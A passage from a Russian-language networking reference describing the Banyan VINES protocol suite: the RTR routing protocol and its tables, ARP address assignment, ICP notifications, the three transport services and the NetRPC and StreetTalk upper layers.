Подполе переадресации определяет, должен ли роутер генерировать сигнал
переадресации (при соответствующих обстоятельствах).
Далее идет поле типа протокола (protocol type), указывающее на протокол сетевого
или транспортного уровня, для которого предназначен пакет показателя или пакет
уведомления об исключении.
За полем типа протокола следуют адресные поля VIP. За полями номера сети
назначения (destination network number) и номера подсети назначения (destination
subnetwork number) идут поля номера сети источника (sourсe network number) и
номера подсети источника (source subnetwork number).
Протокол корректировки маршрутизации (RTR)
RTR распределяет информацию о топологии сети. Пакеты корректировки маршрутизации
периодически пересылаются широкой рассылкой как клиентом, так и узлами
обслуживания. Эти пакеты информируют соседей о существовании какого-нибудь узла,
а также указывают, является ли этот узел клиентом или узлом обслуживания. В
каждый пакет корректировки маршрутизации узла обслуживания также включается
перечень всех известных сетей и коэффициенты затрат, связанные с достижением
этих сетей.
Поддерживаются две маршрутные таблицы: таблица всех известных сетей и таблица
соседей. Для узлов обслуживания таблица всех известных сетей содержит запись
данных о каждой известной сети, за исключением собственной сети узла
обслуживания. Каждая запись содержит номер сети, показатель маршрутизации и
указатель на запись данных следующей пересылки на пути к данной сети в таблице
соседей. Таблица соседей содержит запись данных каждого узла обслуживания соседа
и узла клиента. Записи включают в себя номер сети, номер подсети, протокол
доступа к носителю (например, Ethernent), который использовался для достижения
этого узла, адрес локальной сети (если средой, соединяющей с соседом, является
локальная сеть) и показатель соседа.
RTR определяет 4 типа пакетов:
Пакеты корректировки маршрутизации
Периодически выпускаются для уведомления соседей о существовании какого-нибудь
объекта.
Пакеты запроса о маршрутизации
Объекты обмениваются ими, когда им необходимо быстро узнать о топологии сети.
Пакеты ответа на запрос о маршрутизации
Содержат топологическую информацию и используются узлами обслуживания для ответа
на пакеты запроса о маршрутизации.
Пакеты переадресации маршрутизации
Обеспечивают отправку информации о лучших маршрутах в узлы, использующие
неэффективные тракты.
Пакеты RTR имеют 4-байтовый заголовок, состоящий из однобайтового поля типа
операций (operation type), однобайтового поля типа узла (node type),
однобайтового поля типа контроллера (controller type) и однобайтового поля типа
машины (machine type). Поле типа операций указывает на тип пакета. Поле типа
узла указывает, пришел пакет из узла обслуживания или из необслуживающего узла.
Поле типа контроллера указывает, содержит ли контроллер узла, передающего пакет
RTR, многобуферный контроллер. Это поле используется для облегчения
регулирования информационного потока между сетевыми узлами. И наконец, поле типа
машины указывает, является ли процессор отправителя RTR быстродействующим или
нет. Как и поле типа контроллера, поле типа машины также используется для
регулирования скорости передачи.
Протокол разрешения адреса (ARP)
Объекты протокола ARP классифицируются либо как клиенты разрешения адреса (address
resolution clients), либо как услуги разрешения адреса (address resolution
services). Клиенты разрешения адреса обычно реализуются в узлах клиентов, в то
время как услуги разрешения адреса обычно обеспечиваются узлами обслуживания.
Пакеты ARP имеют 8-байтовый заголовок, состоящий из 2-байтового типа пакета (packet
type), 4-байтового номера сети (network number) и 2-байтового номера подсети (subnet
number). Имеется 4 типа пакетов: запрос-заявка (query request), который является
запросом какой-либо услуги ARP; ответ об услуге (service response), который
является ответом на запрос-заявку, запрос о присваивании адреса (assignment
request), который отправляется какой-нибудь услуге ARP для запроса адреса
объединенной сети VINES, и ответ о присваивании адреса (assignment response),
который отправляется данной услугой ARP в качестве ответа на запрос о
присваивании адреса. Поля номера сети и номера подсети имеют значение только в
пакете ответа о присваивании адреса.
Когда какой-нибудь клиент приступает к работе, клиенты и услуги ARP реализуют
следующий алгоритм. Сначала данный клиент отправляет широкой рассылкой пакеты
запросов-заявок. Затем каждая услуга, которая является соседом данного клиента,
отвечает пакетом ответа об услуге. Далее данный клиент выдает пакет запроса о
присваивании адреса в первую услугу, которая ответила на его пакет
запроса-заявки. Услуга отвечает пакетом ответа о присваивании адреса, содержащем
присвоенный адрес объединенной сети.
Протокол управления объединенной сетью (ICP)
ICP определяет пакеты уведомления об исключительных ситуациях (exception
notification) и уведомления о показателе (metric notification). Пакеты
уведомления об исключительных ситуациях обеспечивают информацию об
исключительных ситуациях сетевого уровня; пакеты уведомления о показателе
содержат информацию о последней передаче, которая была использована для
достижения узла клиента.
Уведомления об исключительной ситуации отправляются в том случае, когда
какой-нибудь пакет VIP не может быть соответствующим образом маршрутизирован, и
устанавливается подполе ошибки в поле управления транспортировкой заголовка VIP.
Эти пакеты также содержат поле, идентифицирующее конкретную исключительную
ситуацию по коду ошибки, соответствующему этой ситуации.
Объекты ICP в узлах обслуживания генерируют сообщения уведомления о показателе в
том случае, когда устанавливается подполе показателя в поле управления
транспортировкой заголовка VIP, и адрес пункта назначения в пакете узла
обслуживания определяет одного из соседей этого узла обслуживания.
Транспортный уровень
VINES обеспечивает три услуги транспортного уровня:
Unreliable datagram service
Услуги ненадежных дейтаграмм. Отправляет пакеты, которые маршрутизируются на
основе принципа “наименьших затрат” (best-effort basis), но не подтверждаются
сообщением о приеме в пункте назначения.
reliable datagram service
Услуги надежных дейтаграмм. Услуга виртуальной цепи, которая обеспечивает
надежную упорядоченную доставку сообщений между узлами сети с подтверждением о
приеме. Надежное сообщение может быть передано с максимальным числом пакетов,
равным 4.
data stream service
Услуга потока данных. Поддерживает контролируемый поток данных между двумя
процессами. Услуга потока данных является услугой виртуальной цепи с
подтверждением о приеме, которая обеспечивает передачу сообщений неограниченных
размеров.
Протоколы высших уровней
Являясь распределенной сетью, VINES использует модель вызова процедуры обращений
к отдаленной сети (remote procedure call — RPC) для связи между клиентами и
служебными устройствами. RCP является основой сред распределенных услуг.
Протокол NetRPC (Уровни 5 и 6) обеспечивает язык программирования высшего
уровня, который позволяет осуществлять доступ к отдаленным услугам способом,
прозрачным как для пользователя, так и для прикладной программы.
На Уровне 7 VINES обеспечивает протоколы файловых услуг и услуг принтера, а
также протокол услуг “StreetTalk name/directory”. StreetTalk, один из протоколов
с торговым знаком компании VINES, обеспечивает службу постоянных имен в
глобальном масштабе для всей объединенной сети.
VINES также обеспечивает среду разработки интегрированных применений при